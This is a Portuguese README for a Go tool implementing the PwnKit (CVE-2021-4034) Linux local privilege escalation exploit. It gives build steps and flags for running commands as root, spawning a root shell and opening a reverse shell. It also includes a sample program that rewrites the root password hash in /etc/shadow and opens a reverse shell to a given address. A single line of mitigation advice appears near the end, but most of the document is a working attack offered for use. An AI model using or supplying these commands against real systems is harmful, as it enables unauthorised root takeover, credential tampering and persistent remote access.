
Implementação em Go do exploit de escalonamento local de privilégios PwnKit para Linux (CVE-2021-4034)
Uma implementação puramente em Go do exploit CVE-2021-4034 PwnKit.
O exploit usa syscall.ForkExec para sobreviver ao fim do programa principal.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Como o exploit depende de uma biblioteca compartilhada maliciosa, um arquivo PWN.so é gerado a partir de payload.go e embutido no executável exploit resultante.
O Makefile usa sed para alterar temporariamente o nome do pacote do arquivo payload.go para main, tornando este Makefile exclusivo para Linux.
Como o payload em Go não é tão confiável quanto o em C, o Makefile compilará o exploit com o payload em C por padrão. Você pode optar por compilar com o payload em Go usando make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
O exploit pode ser usado com um comando (-c), como reverse-shell (-r) ou para abrir um shell root (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Observe que Command e RevShell usam syscall.ForkExec para executar o exploit, portanto os processos resultantes são separados do programa principal e sobrevivem ao seu fim.
Embora o go-PwnKit possa ser importado para o seu projeto a partir do Github, não se esqueça de que você estará executando uma biblioteca compartilhada não confiável como root. O uso de um PWN.so compilado localmente é, portanto, altamente recomendado. Só avisando 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
Aplique o patch no pkexec se possível; caso contrário, desative o bit setuid no binário pkexec.
chmod 0755 /usr/bin/pkexec
Este projeto é inspirado em vários outros PoCs do exploit PwnKit.
Agradecimentos a An00bRektn pela configuração direta do exploit.
Agradecimentos a PaterGottesman e berdav pela clareza na explicação do exploit.
Agradecimentos a dzonerzy pelo truque do GIO_USE_VFS.